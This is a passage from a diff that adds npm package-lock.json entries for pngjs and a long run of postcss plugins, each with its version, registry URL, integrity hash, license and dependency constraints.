21219+ "version": "3.4.0",
21220+ "resolved": "https://registry.npmjs.org/pngjs/-/pngjs-3.4.0.tgz",
21221+ "integrity": "sha512-NCrCHhWmnQklfH4MtJMRjZ2a8c80qXeMlQMv2uVp9ISJMTt562SbGd6n2oq0PaPgKm7Z6pL9E2UlLIhC+SHL3w==",
21222+ "license": "MIT",
21223+ "engines": {
21224+ "node": ">=4.0.0"
21225+ }
21226+ },
21227+ "node_modules/possible-typed-array-names": {
21228+ "version": "1.1.0",
21229+ "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",
21230+ "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",
21231+ "license": "MIT",
21232+ "engines": {
21233+ "node": ">= 0.4"
21234+ }
21235+ },
21236+ "node_modules/postcss": {
21237+ "version": "8.5.6",
21238+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
21239+ "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
21240+ "funding": [
21241+ {
21242+ "type": "opencollective",
21243+ "url": "https://opencollective.com/postcss/"
21244+ },
21245+ {
21246+ "type": "tidelift",
21247+ "url": "https://tidelift.com/funding/github/npm/postcss"
21248+ },
21249+ {
21250+ "type": "github",
21251+ "url": "https://github.com/sponsors/ai"
21252+ }
21253+ ],
21254+ "license": "MIT",
21255+ "dependencies": {
21256+ "nanoid": "^3.3.11",
21257+ "picocolors": "^1.1.1",
21258+ "source-map-js": "^1.2.1"
21259+ },
21260+ "engines": {
21261+ "node": "^10 || ^12 || >=14"
21262+ }
21263+ },
21264+ "node_modules/postcss-attribute-case-insensitive": {
21265+ "version": "5.0.2",
21266+ "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz",
21267+ "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==",
21268+ "license": "MIT",
21269+ "dependencies": {
21270+ "postcss-selector-parser": "^6.0.10"
21271+ },
21272+ "engines": {
21273+ "node": "^12 || ^14 || >=16"
21274+ },
21275+ "funding": {
21276+ "type": "opencollective",
21277+ "url": "https://opencollective.com/csstools"
21278+ },
21279+ "peerDependencies": {
21280+ "postcss": "^8.2"
21281+ }
21282+ },
21283+ "node_modules/postcss-browser-comments": {
21284+ "version": "4.0.0",
21285+ "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz",
21286+ "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==",
21287+ "license": "CC0-1.0",
21288+ "engines": {
21289+ "node": ">=8"
21290+ },
21291+ "peerDependencies": {
21292+ "browserslist": ">=4",
21293+ "postcss": ">=8"
21294+ }
21295+ },
21296+ "node_modules/postcss-calc": {
21297+ "version": "8.2.4",
21298+ "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz",
21299+ "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==",
21300+ "license": "MIT",
21301+ "dependencies": {
21302+ "postcss-selector-parser": "^6.0.9",
21303+ "postcss-value-parser": "^4.2.0"
21304+ },
21305+ "peerDependencies": {
21306+ "postcss": "^8.2.2"
21307+ }
21308+ },
21309+ "node_modules/postcss-clamp": {
21310+ "version": "4.1.0",
21311+ "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz",
21312+ "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==",
21313+ "license": "MIT",
21314+ "dependencies": {
21315+ "postcss-value-parser": "^4.2.0"
21316+ },
21317+ "engines": {
21318+ "node": ">=7.6.0"
21319+ },
21320+ "peerDependencies": {
21321+ "postcss": "^8.4.6"
21322+ }
21323+ },
21324+ "node_modules/postcss-color-functional-notation": {
21325+ "version": "4.2.4",
21326+ "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz",
21327+ "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==",
21328+ "license": "CC0-1.0",
21329+ "dependencies": {
21330+ "postcss-value-parser": "^4.2.0"
21331+ },
21332+ "engines": {
21333+ "node": "^12 || ^14 || >=16"
21334+ },
21335+ "funding": {
21336+ "type": "opencollective",
21337+ "url": "https://opencollective.com/csstools"
21338+ },
21339+ "peerDependencies": {
21340+ "postcss": "^8.2"
21341+ }
21342+ },
21343+ "node_modules/postcss-color-hex-alpha": {
21344+ "version": "8.0.4",
21345+ "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz",
21346+ "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==",
21347+ "license": "MIT",
21348+ "dependencies": {
21349+ "postcss-value-parser": "^4.2.0"
21350+ },
21351+ "engines": {
21352+ "node": "^12 || ^14 || >=16"
21353+ },
21354+ "funding": {
21355+ "type": "opencollective",
21356+ "url": "https://opencollective.com/csstools"
21357+ },
21358+ "peerDependencies": {
21359+ "postcss": "^8.4"
21360+ }
21361+ },
21362+ "node_modules/postcss-color-rebeccapurple": {
21363+ "version": "7.1.1",
21364+ "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz",
21365+ "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==",
21366+ "license": "CC0-1.0",
21367+ "dependencies": {
21368+ "postcss-value-parser": "^4.2.0"
21369+ },
21370+ "engines": {
21371+ "node": "^12 || ^14 || >=16"
21372+ },
21373+ "funding": {
21374+ "type": "opencollective",
21375+ "url": "https://opencollective.com/csstools"
21376+ },
21377+ "peerDependencies": {
21378+ "postcss": "^8.2"
21379+ }
21380+ },
21381+ "node_modules/postcss-colormin": {
21382+ "version": "5.3.1",
21383+ "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.1.tgz",
21384+ "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==",
21385+ "license": "MIT",
21386+ "dependencies": {
21387+ "browserslist": "^4.21.4",
21388+ "caniuse-api": "^3.0.0",
21389+ "colord": "^2.9.1",
21390+ "postcss-value-parser": "^4.2.0"
21391+ },
21392+ "engines": {
21393+ "node": "^10 || ^12 || >=14.0"
21394+ },
21395+ "peerDependencies": {
21396+ "postcss": "^8.2.15"
21397+ }
21398+ },
21399+ "node_modules/postcss-convert-values": {
21400+ "version": "5.1.3",
21401+ "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz",
21402+ "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==",
21403+ "license": "MIT",
21404+ "dependencies": {
21405+ "browserslist": "^4.21.4",
21406+ "postcss-value-parser": "^4.2.0"
21407+ },
21408+ "engines": {
21409+ "node": "^10 || ^12 || >=14.0"
21410+ },
21411+ "peerDependencies": {
21412+ "postcss": "^8.2.15"
21413+ }
21414+ },
21415+ "node_modules/postcss-custom-media": {
21416+ "version": "8.0.2",
21417+ "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz",
21418+ "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==",
21419+ "license": "MIT",
21420+ "dependencies": {
21421+ "postcss-value-parser": "^4.2.0"
21422+ },
21423+ "engines": {
21424+ "node": "^12 || ^14 || >=16"
21425+ },
21426+ "funding": {
21427+ "type": "opencollective",
21428+ "url": "https://opencollective.com/csstools"
21429+ },
21430+ "peerDependencies": {
21431+ "postcss": "^8.3"
21432+ }
21433+ },
21434+ "node_modules/postcss-custom-properties": {
21435+ "version": "12.1.11",
21436+ "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz",
21437+ "integrity": "sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==",
21438+ "license": "MIT",
21439+ "dependencies": {
21440+ "postcss-value-parser": "^4.2.0"
21441+ },
21442+ "engines": {
21443+ "node": "^12 || ^14 || >=16"
21444+ },
21445+ "funding": {
21446+ "type": "opencollective",
21447+ "url": "https://opencollective.com/csstools"
21448+ },
21449+ "peerDependencies": {
21450+ "postcss": "^8.2"
21451+ }
21452+ },
21453+ "node_modules/postcss-custom-selectors": {
21454+ "version": "6.0.3",
21455+ "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz",
21456+ "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==",
21457+ "license": "MIT",
21458+ "dependencies": {
21459+ "postcss-selector-parser": "^6.0.4"
21460+ },
21461+ "engines": {
21462+ "node": "^12 || ^14 || >=16"
21463+ },
21464+ "funding": {
21465+ "type": "opencollective",
21466+ "url": "https://opencollective.com/csstools"
21467+ },
21468+ "peerDependencies": {
21469+ "postcss": "^8.3"
21470+ }
21471+ },
21472+ "node_modules/postcss-dir-pseudo-class": {
21473+ "version": "6.0.5",
21474+ "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz",
21475+ "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==",
21476+ "license": "CC0-1.0",
21477+ "dependencies": {
21478+ "postcss-selector-parser": "^6.0.10"
21479+ },
21480+ "engines": {
21481+ "node": "^12 || ^14 || >=16"
21482+ },
21483+ "funding": {
21484+ "type": "opencollective",
21485+ "url": "https://opencollective.com/csstools"
21486+ },
21487+ "peerDependencies": {
21488+ "postcss": "^8.2"
21489+ }
21490+ },
21491+ "node_modules/postcss-discard-comments": {
21492+ "version": "5.1.2",
21493+ "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz",
21494+ "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==",
21495+ "license": "MIT",
21496+ "engines": {
21497+ "node": "^10 || ^12 || >=14.0"
21498+ },
21499+ "peerDependencies": {
21500+ "postcss": "^8.2.15"
21501+ }
21502+ },
21503+ "node_modules/postcss-discard-duplicates": {
21504+ "version": "5.1.0",
21505+ "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz",
21506+ "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==",
21507+ "license": "MIT",
21508+ "engines": {
21509+ "node": "^10 || ^12 || >=14.0"
21510+ },
21511+ "peerDependencies": {
21512+ "postcss": "^8.2.15"
21513+ }
21514+ },
21515+ "node_modules/postcss-discard-empty": {
21516+ "version": "5.1.1",
21517+ "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz",
21518+ "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==",
21519+ "license": "MIT",
21520+ "engines": {
21521+ "node": "^10 || ^12 || >=14.0"
21522+ },
21523+ "peerDependencies": {
21524+ "postcss": "^8.2.15"
21525+ }
21526+ },
21527+ "node_modules/postcss-discard-overridden": {
21528+ "version": "5.1.0",
21529+ "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz",
21530+ "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==",
21531+ "license": "MIT",
21532+ "engines": {
21533+ "node": "^10 || ^12 || >=14.0"
21534+ },
21535+ "peerDependencies": {
21536+ "postcss": "^8.2.15"
21537+ }
21538+ },
21539+ "node_modules/postcss-double-position-gradients": {
21540+ "version": "3.1.2",
21541+ "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz",
21542+ "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==",
21543+ "license": "CC0-1.0",
21544+ "dependencies": {
21545+ "@csstools/postcss-progressive-custom-properties": "^1.1.0",
21546+ "postcss-value-parser": "^4.2.0"
21547+ },
21548+ "engines": {
21549+ "node": "^12 || ^14 || >=16"
21550+ },
21551+ "funding": {
21552+ "type": "opencollective",
21553+ "url": "https://opencollective.com/csstools"
21554+ },
21555+ "peerDependencies": {
21556+ "postcss": "^8.2"
21557+ }
21558+ },
21559+ "node_modules/postcss-env-function": {
21560+ "version": "4.0.6",
21561+ "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz",
21562+ "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==",
21563+ "license": "CC0-1.0",
21564+ "dependencies": {
21565+ "postcss-value-parser": "^4.2.0"
21566+ },
21567+ "engines": {
21568+ "node": "^12 || ^14 || >=16"
21569+ },
21570+ "peerDependencies": {
21571+ "postcss": "^8.4"
21572+ }
21573+ },
21574+ "node_modules/postcss-flexbugs-fixes": {
21575+ "version": "5.0.2",
21576+ "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz",
21577+ "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==",
21578+ "license": "MIT",
21579+ "peerDependencies": {
21580+ "postcss": "^8.1.4"
21581+ }
21582+ },
21583+ "node_modules/postcss-focus-visible": {
21584+ "version": "6.0.4",
21585+ "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz",
21586+ "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==",
21587+ "license": "CC0-1.0",
21588+ "dependencies": {
21589+ "postcss-selector-parser": "^6.0.9"
21590+ },
21591+ "engines": {
21592+ "node": "^12 || ^14 || >=16"
21593+ },
21594+ "peerDependencies": {
21595+ "postcss": "^8.4"
21596+ }
21597+ },
21598+ "node_modules/postcss-focus-within": {
21599+ "version": "5.0.4",
21600+ "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz",
21601+ "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==",
21602+ "license": "CC0-1.0",
21603+ "dependencies": {
21604+ "postcss-selector-parser": "^6.0.9"
21605+ },
21606+ "engines": {
21607+ "node": "^12 || ^14 || >=16"
21608+ },
21609+ "peerDependencies": {
21610+ "postcss": "^8.4"
21611+ }
21612+ },
21613+ "node_modules/postcss-font-variant": {
21614+ "version": "5.0.0",
21615+ "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz",
21616+ "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==",
21617+ "license": "MIT",
21618+ "peerDependencies": {
21619+ "postcss": "^8.1.0"
21620+ }
21621+ },
21622+ "node_modules/postcss-gap-properties": {
21623+ "version": "3.0.5",
21624+ "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz",
21625+ "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==",
21626+ "license": "CC0-1.0",
21627+ "engines": {
21628+ "node": "^12 || ^14 || >=16"
21629+ },
21630+ "funding": {
21631+ "type": "opencollective",
21632+ "url": "https://opencollective.com/csstools"
21633+ },
21634+ "peerDependencies": {
21635+ "postcss": "^8.2"
21636+ }
21637+ },
21638+ "node_modules/postcss-image-set-function": {
21639+ "version": "4.0.7",
21640+ "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz",
21641+ "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==",
21642+ "license": "CC0-1.0",
21643+ "dependencies": {
21644+ "postcss-value-parser": "^4.2.0"
21645+ },
21646+ "engines": {
21647+ "node": "^12 || ^14 || >=16"
21648+ },
21649+ "funding": {
21650+ "type": "opencollective",
21651+ "url": "https://opencollective.com/csstools"
21652+ },
21653+ "peerDependencies": {
21654+ "postcss": "^8.2"
21655+ }
21656+ },
21657+ "node_modules/postcss-import": {
21658+ "version": "15.1.0",
21659+ "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
21660+ "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
21661+ "license": "MIT",
21662+ "dependencies": {
21663+ "postcss-value-parser": "^4.0.0",
21664+ "read-cache": "^1.0.0",
21665+ "resolve": "^1.1.7"
21666+ },
21667+ "engines": {
21668+ "node": ">=14.0.0"
21669+ },
21670+ "peerDependencies": {
21671+ "postcss": "^8.0.0"
21672+ }
21673+ },
21674+ "node_modules/postcss-initial": {
21675+ "version": "4.0.1",
21676+ "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz",
21677+ "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==",
21678+ "license": "MIT",
21679+ "peerDependencies": {
21680+ "postcss": "^8.0.0"
21681+ }
21682+ },
21683+ "node_modules/postcss-js": {
21684+ "version": "4.1.0",
21685+ "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.1.0.tgz",
21686+ "integrity": "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw==",
21687+ "funding": [
21688+ {
21689+ "type": "opencollective",
21690+ "url": "https://opencollective.com/postcss/"
21691+ },
21692+ {
21693+ "type": "github",
21694+ "url": "https://github.com/sponsors/ai"
21695+ }
21696+ ],
21697+ "license": "MIT",
21698+ "dependencies": {
21699+ "camelcase-css": "^2.0.1"
21700+ },
21701+ "engines": {
21702+ "node": "^12 || ^14 || >= 16"
21703+ },
21704+ "peerDependencies": {
21705+ "postcss": "^8.4.21"
21706+ }
21707+ },
21708+ "node_modules/postcss-lab-function": {
21709+ "version": "4.2.1",
21710+ "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz",
21711+ "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==",
21712+ "license": "CC0-1.0",
21713+ "dependencies": {
21714+ "@csstools/postcss-progressive-custom-properties": "^1.1.0",
21715+ "postcss-value-parser": "^4.2.0"
21716+ },
21717+ "engines": {
21718+ "node": "^12 || ^14 || >=16"
21719+ },
21720+ "funding": {
21721+ "type": "opencollective",
21722+ "url": "https://opencollective.com/csstools"
21723+ },
21724+ "peerDependencies": {
21725+ "postcss": "^8.2"
21726+ }
21727+ },
21728+ "node_modules/postcss-loader": {
21729+ "version": "6.2.1",
21730+ "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz",
21731+ "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==",
21732+ "license": "MIT",
21733+ "dependencies": {
21734+ "cosmiconfig": "^7.0.0",
21735+ "klona": "^2.0.5",
21736+ "semver": "^7.3.5"
21737+ },
21738+ "engines": {
21739+ "node": ">= 12.13.0"
21740+ },
21741+ "funding": {
21742+ "type": "opencollective",
21743+ "url": "https://opencollective.com/webpack"
21744+ },
21745+ "peerDependencies": {
21746+ "postcss": "^7.0.0 || ^8.0.1",
21747+ "webpack": "^5.0.0"
21748+ }
21749+ },
21750+ "node_modules/postcss-logical": {
21751+ "version": "5.0.4",
21752+ "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz",
21753+ "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==",
21754+ "license": "CC0-1.0",
21755+ "engines": {
21756+ "node": "^12 || ^14 || >=16"
21757+ },
21758+ "peerDependencies": {
21759+ "postcss": "^8.4"
21760+ }
21761+ },
21762+ "node_modules/postcss-media-minmax": {
21763+ "version": "5.0.0",
21764+ "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz",
21765+ "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==",
21766+ "license": "MIT",
21767+ "engines": {
21768+ "node": ">=10.0.0"
21769+ },
21770+ "peerDependencies": {
21771+ "postcss": "^8.1.0"
21772+ }
21773+ },
21774+ "node_modules/postcss-merge-longhand": {
21775+ "version": "5.1.7",
21776+ "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz",
21777+ "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==",
21778+ "license": "MIT",
21779+ "dependencies": {
21780+ "postcss-value-parser": "^4.2.0",
21781+ "stylehacks": "^5.1.1"
21782+ },
21783+ "engines": {
21784+ "node": "^10 || ^12 || >=14.0"
21785+ },
21786+ "peerDependencies": {
21787+ "postcss": "^8.2.15"
21788+ }
21789+ },
21790+ "node_modules/postcss-merge-rules": {
21791+ "version": "5.1.4",
21792+ "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz",
21793+ "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==",
21794+ "license": "MIT",
21795+ "dependencies": {
21796+ "browserslist": "^4.21.4",
21797+ "caniuse-api": "^3.0.0",
21798+ "cssnano-utils": "^3.1.0",
21799+ "postcss-selector-parser": "^6.0.5"
21800+ },
21801+ "engines": {
21802+ "node": "^10 || ^12 || >=14.0"
21803+ },
21804+ "peerDependencies": {
21805+ "postcss": "^8.2.15"
21806+ }
21807+ },
21808+ "node_modules/postcss-minify-font-values": {
21809+ "version": "5.1.0",
21810+ "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz",
21811+ "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==",
21812+ "license": "MIT",
21813+ "dependencies": {
21814+ "postcss-value-parser": "^4.2.0"
21815+ },
21816+ "engines": {
21817+ "node": "^10 || ^12 || >=14.0"
21818+ },
21819+ "peerDependencies": {
21820+ "postcss": "^8.2.15"
21821+ }
21822+ },
21823+ "node_modules/postcss-minify-gradients": {
21824+ "version": "5.1.1",
21825+ "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz",
21826+ "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==",
21827+ "license": "MIT",
21828+ "dependencies": {
21829+ "colord": "^2.9.1",
21830+ "cssnano-utils": "^3.1.0",
21831+ "postcss-value-parser": "^4.2.0"
21832+ },
21833+ "engines": {
21834+ "node": "^10 || ^12 || >=14.0"
21835+ },
21836+ "peerDependencies": {
21837+ "postcss": "^8.2.15"
21838+ }
21839+ },
21840+ "node_modules/postcss-minify-params": {
21841+ "version": "5.1.4",
21842+ "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz",
21843+ "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==",
21844+ "license": "MIT",
21845+ "dependencies": {
21846+ "browserslist": "^4.21.4",
21847+ "cssnano-utils": "^3.1.0",
21848+ "postcss-value-parser": "^4.2.0"
21849+ },
21850+ "engines": {
21851+ "node": "^10 || ^12 || >=14.0"
21852+ },
21853+ "peerDependencies": {
21854+ "postcss": "^8.2.15"
21855+ }
21856+ },
21857+ "node_modules/postcss-minify-selectors": {
21858+ "version": "5.2.1",
21859+ "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz",
21860+ "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==",
21861+ "license": "MIT",
21862+ "dependencies": {
21863+ "postcss-selector-parser": "^6.0.5"
21864+ },
21865+ "engines": {
21866+ "node": "^10 || ^12 || >=14.0"
21867+ },
21868+ "peerDependencies": {
21869+ "postcss": "^8.2.15"
21870+ }
21871+ },
21872+ "node_modules/postcss-modules-extract-imports": {
21873+ "version": "3.1.0",
21874+ "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz",
21875+ "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==",
21876+ "license": "ISC",
21877+ "engines": {
21878+ "node": "^10 || ^12 || >= 14"
21879+ },
21880+ "peerDependencies": {
21881+ "postcss": "^8.1.0"
21882+ }
21883+ },
21884+ "node_modules/postcss-modules-local-by-default": {
21885+ "version": "4.2.0",
21886+ "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.2.0.tgz",
21887+ "integrity": "sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==",
21888+ "license": "MIT",
21889+ "dependencies": {
21890+ "icss-utils": "^5.0.0",
21891+ "postcss-selector-parser": "^7.0.0",
21892+ "postcss-value-parser": "^4.1.0"
21893+ },
21894+ "engines": {
21895+ "node": "^10 || ^12 || >= 14"
21896+ },
21897+ "peerDependencies": {
21898+ "postcss": "^8.1.0"
21899+ }
21900+ },
21901+ "node_modules/postcss-modules-local-by-default/node_modules/postcss-selector-parser": {
21902+ "version": "7.1.1",
21903+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
21904+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
21905+ "license": "MIT",
21906+ "dependencies": {
21907+ "cssesc": "^3.0.0",
21908+ "util-deprecate": "^1.0.2"
21909+ },
21910+ "engines": {
21911+ "node": ">=4"
21912+ }
21913+ },
